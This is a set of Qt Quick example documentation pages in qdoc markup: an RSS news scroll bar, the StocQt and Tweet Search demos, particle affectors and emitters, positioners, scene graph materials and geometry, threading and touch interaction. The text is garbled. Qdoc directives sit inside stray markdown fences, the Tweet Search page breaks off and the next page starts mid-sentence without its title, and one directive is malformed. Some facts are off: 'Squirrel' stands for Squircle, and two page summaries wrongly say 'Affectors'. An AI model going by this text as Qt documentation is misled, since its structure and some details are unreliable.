We define the `\c ScrollBar` type in `\c ScrollBar.qml`. We use an `\l Item` type with custom properties to create a container for the scroll bar:

```
\quotefromfile demos/rssnews/content/ScrollBar.qml  
\skipto Item  
\printuntil opacity
```

We use a `BorderImage` type to display the scroll bar thumb at the x and y position that we calculate by using the `\c position()` function:

```
\skipto BorderImage
```

```
\printuntil height
```

```
\printuntil }
```

We use the `\c size` function to calculate the thumb width and height depending on the screen orientation.

We use `\c states` to make the scroll bar visible when the users move the scroll area:

```
\printuntil }
```

```
\printuntil }
```

We use `\c transitions` to apply a `NumberAnimation` to the `\c "opacity"` property when the state changes from "visible" to the default state:

```
\printuntil /^\\}/
```

```
\section1 Creating Footers
```

In `rssnews.qml`, we use a `\I Component` type with a `\I Rectangle` type to create a footer for the news list view:

```
\quotefromfile demos/rssnews/rssnews.qml
```

```
\skipto Component
```

```
\printuntil }
```

```
\printuntil }
```

```
\printuntil }
```

We bind the `\c` width of the footer to the width of the component and the `\c` height to the of close button to align them when no news items are displayed.

```
\section1 Creating Buttons
```

In `rssnews.qml`, we use an `\l Image` type to create a simple push button that users can tap to close the app:

```
\printuntil Qt.quit()
```

```
\printuntil }
```

```
\printuntil }
```

```
\printuntil }
```

We use `\c` anchors to position the close button in the top right corner of the news list view, with 4-pixel margins. Because the close button overlaps the category list in portrait orientation, we animate the `\c` opacity property to make the button almost fully transparent when users are

scrolling the category list.

We use the `\c onClicked` signal handler within a `MouseArea` to call the `\c quit()` function when users select the close button.

\title Qt Quick Demo - StocQt

\ingroup qtquickdemos

\example demos/stocqt

\brief A configurable stock chart for the NASDAQ-100.

\image qtquick-demo-stocqt.png

The \e{StocQt} application presents a trend chart for the first stock in the list of NASDAQ-100 stocks maintained by it. It allows the user to choose another stock from the list, and fetches the required data for the selected stock by sending an \c XMLHttpRequest to <http://finance.yahoo.com>.

The application uses several custom types such as Button, CheckBox, StockChart, StockInfo, StockView, and so on. These types are used to present the stock data in a readable form and also let the user customize the trend chart. For example, the user can choose to view the yearly,

monthly, or daily trends in the stock price.

The application uses the `ObjectModel` type to access the two visual data models that it depends on.

```
\quotefromfile demos/stocqt/stocqt.qml
```

```
\skipto ListView
```

```
\printuntil id
```

```
\dots 8
```

```
\skipto model
```

```
\printuntil StockView
```

```
\printuntil }
```

```
\printuntil }
```

```
\printuntil }
```

The `StockListView` model is a static data model listing the NASDAQ-100 stocks with basic information such as `stockId`, `name`, `value`, `change`, and so on. This data model is used by the application if the user wants to choose another stock from the list.

`StockView` is a complex data model that presents a trend chart for the selected stock. It uses another custom type, `StockChart`, which presents the graphical trend of the stock price using a `Canvas`. This data model is used for most of the time during the lifetime of the application.

```
\quote from file demos/stocqt/content/StockChart.qml

\title Qt Quick Demo - Tweet Search

\ingroup qtquickdemos

\example demos/tweetsearch

\brief A Twitter search client with 3D effects.

\image qtquick-demo-tweetsearch-med-1.png

\image qtquick-demo-tweetsearch-med-2.png

\e{Tweet Search} is a QML application that searches items posted to Twitter service using a number of query parameters. Search can be done for tweets from a specified user, a hashtag, or a search phrase.

The search result is a list of items showing the contents of the tweet as well as the name and image of the user who posted it. Hashtags, names and links in the content are clickable. Clicking on the image will flip the item to reveal more information.

\include examples-run.qdocinc

Tweet Search uses Twitter API v1.1 for running seaches.

\section1 Request Authentication

Each request must be authenticated on behalf of the application. For demonstration purposes, the application uses a hard-coded token for identifying itself to the Twitter service. However, this token is subject to rate limits for the number of requests as well as possible expiration.

If you are having authentication or rate limit problems running the

demo, obtain a set of application-specific tokens (consumer key and consumer secret) by registering a new application on <https://dev.twitter.com/apps>.

Type in the two token values in `TweetsModel.qml`:

`snippet demos/tweetsearch/content/TweetsModel.qml` auth tokens

Rebuild and run the demo.

## JSON Parsing

Search results are returned in JSON (JavaScript Object Notation) format. `TweetsModel` uses an `XMLHttpRequest` object to send an HTTP GET request, and calls `JSON.parse()` on the returned text string to convert it to a JavaScript object. Each object representing a tweet is then added to a `ListModel`:

`snippet demos/tweetsearch/content/TweetsModel.qml` requesting

types. For more information, visit \{Use Case - Visual Elements In QML}.

\include examples-run.qdocinc

\section1 BorderImage

\e BorderImage shows off the various scaling modes of the \I BorderImage type by setting its horizontalTileMode and verticalTileMode properties.

## \section1 Image

\e Image shows off the various fill modes of the \I Image type.

## \section1 Shadows

\e Shadows shows how to create a drop shadow effect for a rectangular item using a \I BorderImage:

\snippet imageelements/content/ShadowRectangle.qml shadow

## \section1 AnimatedSprite

\e AnimatedSprite shows how to display a simple animation using an \I AnimatedSprite object:

\snippet imageelements/animatedsprite.qml sprite

The sprite animation will loop three times.

## \section1 SpriteSequence

\e SpriteSequence demonstrates using a sprite sequence to draw an animated and interactive bear. The \I SpriteSequence object defines five different

sprites. The bear is initially in a \e still state:

```
\snippet imageelements/spritesequence.qml still
```

When the scene is clicked, an animation sets the sprite sequence to the

\e falling states and animates the bear's y property.

```
\snippet imageelements/spritesequence.qml animation
```

At the end of the animation the bear is set back to its initial state.

\title Qt Quick Particles Examples - Affectors

\example particles/affectors

\brief This is a collection of examples using Affectors in the QML particle system.

\image qml-affectors-example.png

This is a collection of small QML examples relating to using Affectors in the particle system.

Each example is a small QML file emphasizing a particular type or feature.

Age demonstrates using an Age affector to prematurely end the lives of particles.

\snippet particles/affectors/content/age.qml 0

As you move the affector around the screen, the particles inside it (which haven't already been affected) jump to a period near the end of their life. This gives them a short period to finish fading out, but changing `lifeLeft` to 0 (the default), would cause them to reach the end of their life instantly.

Attractor demonstrates using an Attractor affector to simulate a black hole

\snippet particles/affectors/content/attractor.qml 0

All particles in the scene, including the rocket ship's exhaust and pellets, are pulled towards the black hole. This effect is stronger closer to the black hole, so the asteroids near the top of the screen are barely affected at all, while the ones towards the middle sometimes curve drastically. To complete the effect, an Age affector covers the black hole to destroy particles which come in contact with it.

Custom Affector manipulates the properties of the particles directly in javascript.

One Affector is used to make the leaves rock back and forth as they fall, looking more leaf-like than just spinning in circles:

```
\snippet particles/affectors/content/customaffector.qml 0
```

Another is used to provide a slightly varying friction to the leaves as they 'land', to look more natural:

```
\snippet particles/affectors/content/customaffector.qml 1
```

Friction is similar to the falling leaves in the custom affector, except that it uses a flat friction the whole way down instead of custom affectors.

```
\snippet particles/affectors/content/friction.qml 0
```

Gravity is a convenience affector for applying a constant acceleration to particles inside it

```
\snippet particles/affectors/content/gravity.qml 0
```

GroupGoal sets up two particle groups for flaming and non-flaming balls, and gives you various ways to transition between them.

```
\snippet particles/affectors/content/groupgoal.qml unlit
```

The non-flaming balls have a one in a hundred chance of lighting on their own each second, but they also

have a GroupGoal set on the whole group. This affector affects all particles of the unlit group, when colliding

with particles in the lit group, and cause them to move to the lighting group.

`\snippet particles/affectors/content/groupgoal.qml lighting`

lighting is an intermediate group so that the glow builds up and the transition is less jarring. So it automatically

moves into the lit group after 100ms.

`\snippet particles/affectors/content/groupgoal.qml lit`

The lit group also has TrailEmitters on it for additional fire and smoke, but does not transition anywhere.

There are two more GroupGoal objects that allow particles in the unlit group to transition to the lighting group

(and then to the lit group).

`\snippet particles/affectors/content/groupgoal.qml groupgoal-pilot`

The first is just an area bound to the location of an image of a pilot flame. When unlit balls pass through the flame,

they go straight to lit because the pilot flame is so hot.

`\snippet particles/affectors/content/groupgoal.qml groupgoal-ma`

The second is bound to the location of the last pointer interaction, so that touching or clicking on unlit balls (which

is hard due to their constant movement) causes them to move to the lighting group.

Move shows some simple effects you can get by altering trajectory midway.

The red particles have an affector that affects their position, jumping them forwards by 120px.

`\snippet particles/affectors/content/move.qml A`

The green particles have an affector that affects their velocity, but with some angle variation. By adding some random direction

velocity to their existing forwards velocity, they begin to spray off in a cone.

`\snippet particles/affectors/content/move.qml B`

The blue particles have an affector that affects their acceleration, and because it sets relative to false this resets the acceleration instead of

adding to it. Once the blue particles reach the affector, their horizontal velocity stops increasing as their vertical velocity decreases.

`\snippet particles/affectors/content/move.qml C`

SpriteGoal has an affector which interacts with the sprite engine of particles, if they are being drawn as sprites by ImageParticle.

`\snippet particles/affectors/content/spritegoal.qml 0`

The SpriteGoal follows the image of the rocket ship on screen, and when it interacts with particles drawn by ImageParticle as sprites,

it instructs them to move immediately to the "explode" state, which in this case is the animation of the asteroid breaking into many pieces.

Turbulence has a flame with smoke, and both sets of particles being affected by a Turbulence affector. This gives a faint wind effect.

`\snippet particles/affectors/content/turbulence.qml 0`

To make the wind change direction, substitute a black and white noise image in the noiseSource parameter (it currently uses a default noise source).

Wander uses a Wander affector to add some horizontal drift to snowflakes as they fall down.

`\snippet particles/affectors/content/wander.qml 0`

There are different movements given by applying the Wander to different attributes of the trajectory, so the example makes it easy to play around and see the difference.

\title Qt Quick Particles Examples - CustomParticle

\example particles/customparticle

\brief This is a collection of examples using CustomParticle in the QML particle system.

\image qml-customparticle-example.png

This is a collection of small QML examples relating to using CustomParticle in the particle system.

Each example is a small QML file emphasizing a different way to use CustomParticle.

Blur Particles adds a blur effect to the particles, which increases over the particle's life time.

It uses a custom vertex shader:

\snippet particles/customparticle/content/blurparticles.qml vertex

to propagate life time simulation to a custom fragment shader:

\snippet particles/customparticle/content/blurparticles.qml fragment

which has access to both the normal image sampler and a blurred sampler, the image plus a ShaderEffect.

Fragment Shader just uses the particle system as a vertex delivery system.

\snippet particles/customparticle/content/fragmentshader.qml 0

Image Colors uses CustomParticle to assign colors to particles based on their location in a picture.

The vertex shader,

\snippet particles/customparticle/content/imagecolors.qml vertex

passes along the starting position for each vertex to the fragment shader,

\snippet particles/customparticle/content/imagecolors.qml fragment

which uses it to determine the color for that particle.

\title Qt Quick Particles Examples - Emitters

\example particles/emitters

\brief This is a collection of examples using Emitters in the QML particle system.

\image qml-emitters-example.png

This is a collection of small QML examples relating to using Emitters in the particle system.

Each example is a small QML file emphasizing a particular type or feature.

Velocity from motion gives the effect of strong particle motion through primarily moving the emitters:

\snippet particles/emitters/content/velocityfrommotion.qml 0

Burst and pulse calls the burst and pulse methods on two identical emitters.

\snippet particles/emitters/content/burstandpulse.qml 0

Note how burst takes an argument of number of particles to emit, and pulse takes an argument of number of milliseconds to emit for.

This gives a slightly different behaviour, which is easy to see in this example.

Custom Emitter connects to the emitParticles signal to set arbitrary values on particle data as they're emitted;

\snippet particles/emitters/content/customemitter.qml 0

This is used to emit curving particles in six rotating spokes.

Emit mask sets an image mask on the Emitter, to emit out of an arbitrary shape.

`\snippet particles/emitters/content/emitmask.qml 0`

Maximum emitted emits no more than a certain number of particles at a time. This example makes it easy to see what happens when the limit is reached.

Shape and Direction emits particles out of an unfilled Ellipse shape, using a TargetDirection

`\snippet particles/emitters/content/shapeanddirection.qml 0`

This sends the particles towards the center of the ellipse with proportional speed, keeping the ellipse outline as they move to the center.

TrailEmitter uses that type to add smoke particles to trail the fire particles in the scene.

`\snippet particles/emitters/content/customemitter.qml 0`

\title Qt Quick Particles Examples - Image Particles

\example particles/imageparticle

\brief This is a collection of examples using Affectors in the QML particle system.

\image qml-imageparticle-example.png

This is a collection of small QML examples relating to using Affectors in the particle system.

Each example is a small QML file emphasizing a particular type or feature.

All at once shows off several of the features of ImageParticle at the same time.

`\snippet particles/imageparticle/content/allatonce.qml 0`

Colored shows a simple ImageParticle with some color variation.

`\snippet particles/imageparticle/content/colored.qml 0`

Color Table sets the color over life on the particles to provide a fixed rainbow effect.

`\snippet particles/imageparticle/content/colortable.qml 0`

Deformation spins and squishes a starfish particle.

`\snippet particles/imageparticle/content/deformation.qml spin`

`\snippet particles/imageparticle/content/deformation.qml deform`

Rotation demonstrates the `autoRotate` property, so that particles rotate in the direction that they travel.

Sharing demonstrates what happens when multiple ImageParticles try to render the same particle.

The following ImageParticle renders the particles inside the ListView:

`\snippet particles/imageparticle/content/sharing.qml 0`

The following ImageParticle is placed inside the list highlight, and renders the particles above the other ImageParticle.

`\snippet particles/imageparticle/content/sharing.qml 1`

Note that because it sets the color and alpha in this ImageParticle, it renders the particles in a different color.

Since it doesn't specify anything about the rotation, it shares the rotation with the other ImageParticle so that the flowers are rotated the same way in both.

Note that you can undo rotation in another ImageParticle, you just need to explicitly set rotationVariation to 0.

Sprites demonstrates using an image particle to render animated sprites instead of static images for each particle.

\title Qt Quick Particles Examples - System

\example particles/system

\brief This is a collection of examples using Affectors in the QML particle system.

\image qml-system-example.png

This is a collection of small QML examples relating to using Affectors in the particle system.

Each example is a small QML file emphasizing a particular type or feature.

Dynamic comparison compares using the particle system to getting a similar effect with the following code that dynamically instantiates Image types.

\snippet particles/system/content/dynamiccomparison.qml fake

Note how the Image objects are not able to be randomly colored.

Start and Stop simply sets the running and paused states of a ParticleSystem. While the system does not perform any simulation when stopped or paused, a restart restarts the simulation from the beginning, while unpausing resumes the simulation from where it was.

Timed group changes is an example that highlights the ParticleGroup type. While normally referring to groups with a string name is sufficient, additional effects can be

done by setting properties on groups.

The first group has a variable duration on it, but always transitions to the second group.

```
\snippet particles/system/content/timedgroupchanges.qml 0
```

The second group has a TrailEmitter on it, and a fixed duration for emitting into the third group. By placing the TrailEmitter as a direct child of the ParticleGroup, it automatically selects that group to follow.

```
\snippet particles/system/content/timedgroupchanges.qml 1
```

The third group has an Affector as a direct child, which makes the affector automatically target this group. The affector means that as soon as particles enter this group, a burst function can be called on another emitter, using the x,y positions of this particle.

```
\snippet particles/system/content/timedgroupchanges.qml 2
```

If TrailEmitter does not suit your needs for multiple emitters, you can also dynamically create Emitters while still using the same ParticleSystem and image particle

```
\snippet particles/system/content/dynamicemitters.qml 0
```

Note that this effect, a flurry of flying rainbow spears, would be better served with TrailEmitter. It is only done with dynamic emitters in this example to show the concept more simply.

Multiple Painters shows how to control paint ordering of individual particles. While the paint ordering of particles within one ImagePainter is not strictly defined, ImageParticle objects follow the normal Z-ordering rules for \l {Qt Quick} items. This example allow you to paint the inside of the particles above the black borders using a pair of ImageParticles each painting different parts of the same logical particle.

\title Qt Quick Examples - Positioners

\example positioners

\brief This is a collection of QML Positioner examples.

\image qml-positioners-example.png

\ingroup qtquickexamples

\e Positioners is a collection of small QML examples relating to positioners. Each example is a small QML file emphasizing a particular type or feature. For more information, visit

\l{Important Concepts In Qt Quick - Positioning}.

\include examples-run.qdocinc

\section1 Transitions

\e Transitions shows animated transitions when showing or hiding items in a positioner. It consists of a scene populated with items in a variety of positioners: \l Column, \l Row, \l Grid, and \l Flow. Each positioner has animations described as Transitions.

\snippet positioners/positioners-transitions.qml move

The move transition specifies how items inside a positioner will animate when they are displaced by the appearance or disappearance of other items.

\snippet positioners/positioners-transitions.qml add

The add transition specifies how items will appear when they are added to a positioner.

\snippet positioners/positioners-transitions.qml populate

The populate transition specifies how items will appear when their parent positioner is first created.

\section1 Attached Properties

\e{Attached Properties} shows how the Positioner attached property can be used to determine where an item is within a positioner.

\snippet positioners/positioners-attachedproperties.qml 0

\example scenegraph/customgeometry

\title Scene Graph - Custom Geometry

\ingroup qtquickexamples

\brief Shows how to implement a custom geometry in the Qt Quick Scene Graph.

The custom geometry example shows how to create a `QQuickItem` which uses the scene graph API to build a custom geometry for the scene graph. It does this by creating a `BezierCurve` item which is made part of the `CustomGeometry` module and makes use of this in a QML file.

\image custom-geometry-example.png

\section1 BezierCurve Declaration

\snippet scenegraph/customgeometry/beziercurve.h 1

The item declaration subclasses the `QQuickItem` class and adds five properties. One for each of the four control points in the bezier curve and a parameter to control the number of segments the curve is subdivided into. For each of the properties we have corresponding getter and setter functions. Since these properties can be bound to in QML, it is also preferable to have notifier signals for each of them so changes will be picked up the QML engine and used accordingly.

\snippet scenegraph/customgeometry/beziercurve.h 2

The synchronization point between the QML scene and the rendering scene graph is the virtual function `\l QQuickItem::updatePaintNode()` which all items with custom scene graph logic must implement.

\note The scene graph will on many hardware configurations be rendering on a separate thread. It is therefore crucial that interaction with the scene graph happens in a controlled manner, first and foremost through the `\l QQuickItem::updatePaintNode()` function.

\section1 BezierCurve Implementation

\snippet scenegraph/customgeometry/beziercurve.cpp 1

The `BezierCurve` constructor sets up default values for the control points and the number of segments. The bezier curve is specified in normalized coordinates relative to the item's bounding rectangle.

The constructor also sets the flag `\l` `QQuickItem::ItemHasContents`. This flag tells the canvas that this item provides visual content and will call `\l` `QQuickItem::updatePaintNode()` when it is time for the QML scene to be synchronized with the rendering scene graph.

`\snippet scenegraph/customgeometry/beziercurve.cpp 2`

The `BezierCurve` class has no data members that need to be cleaned up so the destructor does nothing. It is worth mentioning that the rendering scene graph is managed by the scene graph itself, potentially in a different thread, so one should never retain `QSGNode` references in the `QQuickItem` class nor try to clean them up explicitly.

`\snippet scenegraph/customgeometry/beziercurve.cpp 3`

The setter function for the `p1` property checks if the value is unchanged and exits early if this is the case. Then it updates the

internal value and emits the changed signal. It then proceeds to call the `QQuickItem::update()` function which will notify the rendering scene graph, that the state of this object has changed and needs to be synchronized with the rendering scene graph.

A call to `update()` will result in a call to `QQuickItem::updatePaintNode()` at a later time.

The other property setters are equivalent, and are omitted from this example.

`\snippet scenegraph/customgeometry/beziercurve.cpp` 4

The `updatePaintNode()` function is the primary integration point for synchronizing the state of the QML scene with the rendering scene graph. The function gets passed a `QSGNode` which is the instance that was returned on the last call to the function. It will be null the first time the function gets called and we create our `QSGGeometryNode` which we will fill with geometry and a material.

`\snippet scenegraph/customgeometry/beziercurve.cpp` 5

We then create the geometry and add it to the node. The first argument to the `QSGGeometry` constructor is a definition of the vertex type, called an "attribute set". Since the graphics often

used in QML centers around a few common standard attribute sets, these are provided by default. Here we use the Point2D attribute set which has two floats, one for x coordinates and one for y coordinates. The second argument is the vertex count.

Custom attribute sets can also be created, but that is not covered in this example.

Since we do not have any special needs for memory managing the geometry, we specify that the QSGGeometryNode should own the geometry.

To minimize allocations, reduce memory fragmentation and improve performance, it would also be possible to make the geometry a member of a QSGGeometryNode subclass, in which case, we would not have to set the QSGGeometryNode::OwnsGeometry flag.

`\snippet scenegraph/customgeometry/beziercurve.cpp` 6

The scene graph API provides a few commonly used material implementations. In this example we use the QSGFlatColorMaterial which will fill the shape defined by the geometry with a solid color. Again we pass the ownership of the material to the node, so it can be cleaned up by the scene graph.

\snippet scenegraph/customgeometry/beziercurve.cpp 7

In the case where the QML item has changed and we only want to modify the existing node's geometry, we cast the `oldNode` to a `QSGGeometryNode` instance and extract its geometry. In case the segment count has changed, we call `QSGGeometry::allocate()` to make sure it has the right number of vertices.

\snippet scenegraph/customgeometry/beziercurve.cpp 8

To fill the geometry, we first extract the vertex array from it. Since we are using one of the default attribute sets, we can use the convenience function `QSGGeometry::vertexDataAsPoint2D()`. Then we go through each segment and calculate its position and write that value to the vertex.

\snippet scenegraph/customgeometry/beziercurve.cpp 9

In the end of the function, we return the node so the scene graph can render it.

\section1 Application Entry-Point

\snippet scenegraph/customgeometry/main.cpp 1

The application is a straightforward QML application, with a `QGuiApplication` and a `QQuickView` that we pass a `.qml` file. To make use of the `BezierCurve` item, we need to register it in the QML engine, using the `qmlRegisterType()` function. We give it the name `BezierCurve` and make it part of the `\c {CustomGeometry 1.0}` module.

As the bezier curve is drawn using `GL_LINE_STRIP`, we specify that the view should be multisampled to get antialiasing. This is not required, but it will make the item look a bit nicer on hardware that supports it. Multisampling is not enabled by default because it often results in higher memory usage.

\section1 Using the Item

\snippet scenegraph/customgeometry/main.qml 1

Our `.qml` file imports the `\c {QtQuick 2.0}` module to get the standard types and also our own `\c {CustomGeometry 1.0}` module which contains our newly created `BezierCurve` objects.

\snippet scenegraph/customgeometry/main.qml 2

Then we create the our root item and an instance of the `BezierCurve` which we anchor to fill the root.

\snippet scenegraph/customgeometry/main.qml 3

To make the example a bit more interesting we add an animation to change the two control points in the curve. The end points stay unchanged.

\snippet scenegraph/customgeometry/main.qml 4

Finally we overlay a short text outlining what the example shows.

\title Scene Graph - OpenGL Under QML
```

```
\ingroup qtquickexamples
```

```
\brief Shows how to render OpenGL under a Qt Quick scene.
```

```
\image openglunderqml-example.jpg
```

The OpenGL under QML example shows how an application can make use of the `\l QQuickWindow::beforeRendering()` signal to draw custom OpenGL content under a Qt Quick scene. This signal is emitted at the start of every frame, before the scene graph starts its rendering, thus any OpenGL draw calls that are made as a response to this signal, will stack under the Qt Quick items.

As an alternative, applications that wish to render OpenGL content on top of the Qt Quick scene, can do so by connecting to the `\l QQuickWindow::afterRendering()` signal.

In this example, we will also see how it is possible to have values that are exposed to QML which affect the OpenGL

rendering. We animate the threshold value using a `NumberAnimation` in the QML file and this value is used by the OpenGL shader program that draws the squircles.

\snippet scenegraph/openglunderqml/squircle.h 2

First of all, we need an object we can expose to QML. This is a subclass of `QQuickItem` so we can easily access `\l QQuickItem::window()`.

\snippet scenegraph/openglunderqml/squircle.h 1

Then we need an object to take care of the rendering. This instance needs to be separated from the `QQuickItem` because the item lives in the GUI thread and the rendering potentially happens on the render thread. Since we want to connect to `\l QQuickWindow::beforeRendering()`, we make the renderer a `QObject`. The renderer contains a copy of all the state it needs, independent of the GUI thread.

\note Don't be tempted to merge the two objects into one. `QQuickItems` may be deleted on the GUI thread while the render thread is rendering.

Lets move on to the implementation.

\snippet scenegraph/openglunderqml/squircle.cpp 7

The constructor of the `\c Squircle` class simply initializes the values and connects to the window changed signal which we will use to prepare our renderer.

\snippet scenegraph/openglunderqml/squircle.cpp 1

Once we have a window, we attach to the `\l QQuickWindow::beforeSynchronizing()` signal which we will use to create the renderer and to copy state into it safely. We also connect to the `\l QQuickWindow::sceneGraphInvalidated()` signal to handle the cleanup of the renderer.

\note Since the `Squircle` object has affinity to the GUI thread and the signals are emitted from the rendering thread, it is crucial that the connections are made with `\l Qt::DirectConnection`. Failing to do so, will result in that the slots are invoked on the wrong thread with no OpenGL context present.

\snippet scenegraph/openglunderqml/squircle.cpp 3

The default behavior of the scene graph is to clear the framebuffer before rendering. Since we render before the scene

graph, we need to turn this clearing off. This means that we need to clear ourselves in the `\c paint()` function.

`\snippet scenegraph/openglunderqml/squircle.cpp 9`

We use the `\c sync()` function to initialize the renderer and to copy the state in our item into the renderer. When the renderer is created, we also connect the `\l QQuickWindow::beforeRendering()` to the renderer's `\c paint()` slot.

`\note` The `\l QQuickWindow::beforeSynchronizing()` signal is emitted on the rendering thread while the GUI thread is blocked, so it is safe to simply copy the value without any additional protection.

`\snippet scenegraph/openglunderqml/squircle.cpp 6`

In the `\c cleanup()` function we delete the renderer which in turn cleans up its own resources.

`\snippet scenegraph/openglunderqml/squircle.cpp 8`

When the value of `\c t` changes, we call `\l QQuickWindow::update()` rather than `\l QQuickItem::update()` because the former will force the entire window to be redrawn, even when the scene graph has not changed since the last frame.

\snippet scenegraph/openglunderqml/squircle.cpp 4

In the SquircleRenderer's `paint()` function we start by initializing the shader program. By initializing the shader program here, we make sure that the OpenGL context is bound and that we are on the correct thread.

\snippet scenegraph/openglunderqml/squircle.cpp 5

We use the shader program to draw the squircle. At the end of the `paint` function we release the program and disable the attributes we used so that the OpenGL context is in a "clean" state for the scene graph to pick it up.

\note If tracking the changes in the OpenGL context's state is not feasible, one can use the function `QQuickWindow::resetOpenGLState()` which will reset all state that the scene graph relies on.

\snippet scenegraph/openglunderqml/main.cpp 1

The application's `main()` function instantiates a `QQuickView` and launches the `main.qml` file. The only thing worth noting is that we export the `Squircle` class to QML using the `qmlRegisterType`

qmlRegisterType() macro.

\snippet scenegraph/openglunderqml/main.qml 1

We import the Squirrel QML type with the name we registered in the  
\c main() function. We then instantiate it and create a running  
NumberAnimation on its \c t property.

\snippet scenegraph/openglunderqml/main.qml 2

Then we overlay a short descriptive text, so that it is clearly  
visible that we are in fact rendering OpenGL under our Qt Quick  
scene.

\example scenegraph/simplematerial

\title Scene Graph - Simple Material

\ingroup qtquickexamples

\brief Shows how to define a scene graph material to fill a shape.

\image simplematerial-example.jpg

In this example, we will make use of the `\QSGSimpleMaterialShader` class to fill a shape in the scene graph. This is a convenience class intended to avoid a lot of the boilerplate code required when creating materials with the `\QSGMaterial`, `\QSGMaterialShader` and `\QSGMaterialType` classes directly.

A simple material consists of two parts: the material state and the material shader. The material shader has one instance per scene graph and contains the actual OpenGL shader program and information about which attributes and uniforms it uses. The material state is what we assign to each individual node; in this case to give them different colors.

`\snippet scenegraph/simplematerial/simplematerial.cpp 1`

The first thing we do when creating custom materials with the simplified scheme is to create a state class. In this case the state class contains only one member, a `QColor`. It also defines a compare function which the scene graph can use to reorder the node rendering.

`\snippet scenegraph/simplematerial/simplematerial.cpp 2`

Next we define the material shader, by subclassing a template instantiation of `QSGSimpleMaterialShader` with our `State`.

Then we use the macro `QSG_DECLARE_SIMPLE_COMPARABLE_SHADER()` which will generate some boilerplate code for us. Since our `State` class has a `compare` function, we declare that the states can be compared. It would have been possible to remove the `State::compare()` function and instead declare the shader with `QSG_DECLARE_SIMPLE_SHADER()`, but this could then reduce performance in certain use cases.

The state struct is used as a template parameter to automatically generate a `QSGMaterialType` for us, so it is crucial that the pair of shader and state are made up of unique classes. Using the same `State` class in multiple shaders will lead to undefined behavior.

`\snippet scenegraph/simplematerial/simplematerial.cpp 3`

Next comes the declaration of the shader source code, where we define a vertex and fragment shader. The simple material assumes the presence of `qt_Matrix` in the vertex shader and `qt_Opacity` in the fragment shader.

`\snippet scenegraph/simplematerial/simplematerial.cpp 4`

We reimplement the `\c attributes` function to return the name of the `\c aVertex` and `\c aTexCoord` attributes. These attributes will be mapped to attribute indices 0 and 1 in the node's geometry.

`\snippet scenegraph/simplematerial/simplematerial.cpp 6`

Uniforms can be accessed either by name or by index, where index is faster than name. We reimplement the `\c resolveUniforms()` function to find the index of the `\c color` uniform. We do not have to worry about resolving `\c qt_Opacity` or `\c qt_Matrix` as these are handled by the baseclass.

`\snippet scenegraph/simplematerial/simplematerial.cpp 5`

The `\c updateState()` function is called once for every unique state and we use it to update the shader program with the current color. The previous state is passed in as a second parameter so that the user can update only that which has changed. In our usecase, where all the colors are different, the `updateState` will be called once for every node.

`\snippet scenegraph/simplematerial/simplematerial.cpp 7`

The `ColorNode` class is supposed to draw something, so it needs to be a subclass of `QSGGeometryNode`.

Since our shader expects both a position and a texture coordinate, we use the default attribute set `QSGGeometry::defaultAttributes_TexturedPoint2D()` and declare that the geometry consists of a total of four vertices. To avoid the allocation, we make the `QSGGeometry` a member of the `QSGGeometryNode`.

When we used the macro `QSG_DECLARE_SIMPLE_COMPARABLE_SHADER()` above, it defined the `createMaterial()` function which we use to instantiate materials for our `State` struct.

As we will be making use of opacity in our custom material, we need to set the `QSGMaterial::Blending` flag. The scene graph may use this flag to either disable or enable `GL_BLEND` when drawing the node or to reorder the drawing of the node.

Finally, we tell the node to take ownership of the material, so we do not have to explicitly memory-manage it.

`\snippet scenegraph/simplematerial/simplematerial.cpp` 8

Since the `Item` is providing its own graphics to the scene graph,

we set the flag `\l QQuickItem::ItemHasContents`.

`\snippet scenegraph/simplematerial/simplematerial.cpp 9`

Whenever the Item has changed graphically, the `\l QQuickItem::updatePaintNode()` function is called.

`\note` The scene graph may be rendered in a different thread than the GUI thread and `\l QQuickItem::updatePaintNode()` is one of the few places where it is safe to access properties of the QML object. Any interaction with the scene graph from a custom `\l QQuickItem` should be contained within this function. The function is called on the rendering thread while the GUI thread is blocked.

The first time this function is called for an `\c Item` instance, the node will be 0, and so we create a new one. For every consecutive call, the node will be what we returned previously. There are scenarios where the scene graph will be removed and rebuilt from scratch however, so one should always check the node and recreate it if required.

Once we have a `\c ColorNode`, we update its geometry and material state. Finally, we notify the scene graph that the node has undergone changes to its geometry and material.

\snippet scenegraph/simplematerial/simplematerial.cpp 11

The `main()` function of the application adds the custom QML type using `qmlRegisterType()` and opens up a `QQuickView` with our QML file.

\snippet scenegraph/simplematerial/main.qml 1

In the QML file, we import our custom type so we can instantiate it.

\snippet scenegraph/simplematerial/main.qml 2

Then we create a column containing three instances of our custom item, each with a different color.

\snippet scenegraph/simplematerial/main.qml 3

And finally we overlay a short descriptive text.

\title Qt Quick Examples - Threading

\example threading

\brief This is a collection of QML multithreading examples.

\image qml-threading-example.png

\ingroup qtquickexamples

\e Threading is a collection of QML multithreading examples.

\include examples-run.qdocinc

\section1 Threaded ListModel

\e{Threaded ListModel} contains a \l ListView and a \l ListModel.

The ListModel object is updated asynchronously in another thread, and the results propagate back to the main thread. A timer requests updates from the

worker thread periodically:

```
\snippet threading/threadedlistmodel/timedisplay.qml 0
```

Inside the worker thread, the ListModel is synchronized once the data is finished loading:

```
\snippet threading/threadedlistmodel/dataloader.js 0
```

```
\section1 WorkerScript
```

The WorkerScript contains an example of using a `WorkerScript` to offload expensive calculations into another thread. This keeps the UI from being blocked. This example calculates numbers in Pascal's Triangle, and not in a very optimal way, so it will often take several seconds to complete the calculation. By doing this in a `WorkerScript` in another thread, the UI is not blocked during this time.

When the UI needs another value, a request is sent to the `WorkerScript`:

```
\snippet threading/workerscript/workerscript.qml 0
```

The `workerscript` then is free to take a really long time to calculate it:

```
\snippet threading/workerscript/workerscript.js 0
```

When it's done, the result returns to the main scene via the `WorkerScript` type:

```
\snippet threading/workerscript/workerscript.qml 1
```

\title Qt Quick Examples - Touch Interaction

\example touchinteraction

\brief A collection of QML Touch Interaction examples.

\image qml-touchinteraction-example.png

\e{Touch Interaction} is a collection of small QML examples relating to  
touch interaction methods. For more information, visit

\l{Important Concepts In Qt Quick - User Input}.

\include examples-run.qdocinc

## `\section1 Multipoint Flames`

`\e{Multipoint Flames}` demonstrates distinguishing different fingers in a `\l MultiPointTouchArea`, by assigning a different colored flame to each touch point.

The `MultipointTouchArea` sets up multiple touch points:

```
\snippet touchinteraction/multipointtouch/multiflame.qml 0
```

The flames are then simply bound to the coordinates of the touch point, and whether it is currently pressed, as follows:

```
\snippet touchinteraction/multipointtouch/multiflame.qml 1
```

## `\section1 Bear-Whack`

